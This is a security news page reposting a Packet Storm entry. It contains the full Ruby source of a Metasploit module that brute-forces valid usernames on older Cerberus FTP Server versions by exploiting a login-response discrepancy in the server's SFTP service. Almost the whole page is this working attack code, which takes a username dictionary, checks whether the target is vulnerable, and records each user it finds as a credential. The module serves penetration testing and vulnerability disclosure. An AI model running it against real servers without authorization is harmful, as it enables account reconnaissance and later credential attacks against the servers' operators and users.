Security
Headlines
HeadlinesLatestCVEs

Headline

Cerberus FTP Server SFTP Username Enumeration

This Metasploit module uses a dictionary to brute force valid usernames from Cerberus FTP server via SFTP. This issue affects all versions of the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy in the way the SSH service handles failed logins for valid and invalid users. This issue was discovered by Steve Embling.

Packet Storm
#vulnerability#git#auth#ssh
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'net/ssh'class MetasploitModule < Msf::Auxiliary  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::Report  def initialize(info = {})    super(update_info(info,      'Name'        => 'Cerberus FTP Server SFTP Username Enumeration',      'Description' => %q{        This module uses a dictionary to brute force valid usernames from        Cerberus FTP server via SFTP.  This issue affects all versions of        the software older than 6.0.9.0 or 7.0.0.2 and is caused by a discrepancy        in the way the SSH service handles failed logins for valid and invalid        users.  This issue was discovered by Steve Embling.      },      'Author'      => [        'Steve Embling', # Discovery        'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module      ],      'References'     =>        [          [ 'URL',  'http://xforce.iss.net/xforce/xfdb/93546' ],          [ 'BID', '67707']        ],      'License'     => MSF_LICENSE,      'DisclosureDate' => '2014-05-27'    ))    register_options(      [        Opt::Proxies,        Opt::RPORT(22),        OptPath.new(          'USER_FILE',          [true, 'Files containing usernames, one per line', nil])      ], self.class    )    register_advanced_options(      [        OptInt.new(          'RETRY_NUM',          [true , 'The number of attempts to connect to a SSH server for each user', 3]),        OptInt.new(          'SSH_TIMEOUT',          [true, 'Specify the maximum time to negotiate a SSH session', 10]),        OptBool.new(          'SSH_DEBUG',          [true, 'Enable SSH debugging output (Extreme verbosity!)', false])      ]    )  end  def rport    datastore['RPORT']  end  def retry_num    datastore['RETRY_NUM']  end  def check_vulnerable(ip)    opt_hash = {      :port            => rport,      :auth_methods    => ['password', 'keyboard-interactive'],      :use_agent       => false,      :config          => false,      :password_prompt => Net::SSH::Prompt.new,      :non_interactive => true,      :proxies         => datastore['Proxies'],      :verify_host_key => :never    }    begin      transport = Net::SSH::Transport::Session.new(ip, opt_hash)    rescue Rex::ConnectionError      return :connection_error    end    auth = Net::SSH::Authentication::Session.new(transport, opt_hash)    auth.authenticate("ssh-connection", Rex::Text.rand_text_alphanumeric(8), Rex::Text.rand_text_alphanumeric(8))    auth_method = auth.allowed_auth_methods.join('|')    print_good "#{peer(ip)} Server Version: #{auth.transport.server_version.version}"    report_service(      host:  ip,      port:  rport,      name:  "ssh",      proto: "tcp",      info:  auth.transport.server_version.version    )    if auth_method.empty?      :vulnerable    else      :safe    end  end  def check_user(ip, user, port)    pass = Rex::Text.rand_text_alphanumeric(8)    opt_hash = {      :auth_methods    => ['password', 'keyboard-interactive'],      :port            => port,      :use_agent       => false,      :config          => false,      :proxies         => datastore['Proxies'],      :verify_host_key => :never    }    opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']    transport = Net::SSH::Transport::Session.new(ip, opt_hash)    auth = Net::SSH::Authentication::Session.new(transport, opt_hash)    begin      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do        auth.authenticate("ssh-connection", user, pass)        auth_method = auth.allowed_auth_methods.join('|')        if auth_method != ''          :success        else          :fail        end      end    rescue Rex::ConnectionError      return :connection_error    rescue Net::SSH::Disconnect, ::EOFError      return :success    rescue ::Timeout::Error      return :connection_error    end  end  def do_report(ip, user, port)    service_data = {      address: ip,      port: rport,      service_name: 'ssh',      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      origin_type: :service,      module_fullname: fullname,      username: user,    }.merge(service_data)    login_data = {      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::UNTRIED,    }.merge(service_data)    create_credential_login(login_data)  end  def peer(rhost=nil)    "#{rhost}:#{rport} SSH -"  end  def user_list    users = nil    if File.readable? datastore['USER_FILE']      users = File.new(datastore['USER_FILE']).read.split      users.each {|u| u.downcase!}      users.uniq!    else      raise ArgumentError, "Cannot read file #{datastore['USER_FILE']}"    end    users  end  def attempt_user(user, ip)    attempt_num = 0    ret = nil    while (attempt_num <= retry_num) && (ret.nil? || ret == :connection_error)      if attempt_num > 0        Rex.sleep(2 ** attempt_num)        vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")      end      ret = check_user(ip, user, rport)      attempt_num += 1    end    ret  end  def show_result(attempt_result, user, ip)    case attempt_result    when :success      print_good "#{peer(ip)} User '#{user}' found"      do_report(ip, user, rport)    when :connection_error      print_error "#{peer(ip)} User '#{user}' could not connect"    when :fail      vprint_status "#{peer(ip)} User '#{user}' not found"    end  end  def run_host(ip)    print_status "#{peer(ip)} Checking for vulnerability"    case check_vulnerable(ip)    when :vulnerable      print_good "#{peer(ip)} Vulnerable"      print_status "#{peer(ip)} Starting scan"      user_list.each do |user|        show_result(attempt_user(user, ip), user, ip)      end    when :safe      print_error "#{peer(ip)} Not vulnerable"    when :connection_error      print_error "#{peer(ip)} Connection failed"    end  endend

Packet Storm: Latest News

Ivanti EPM Remote Code Execution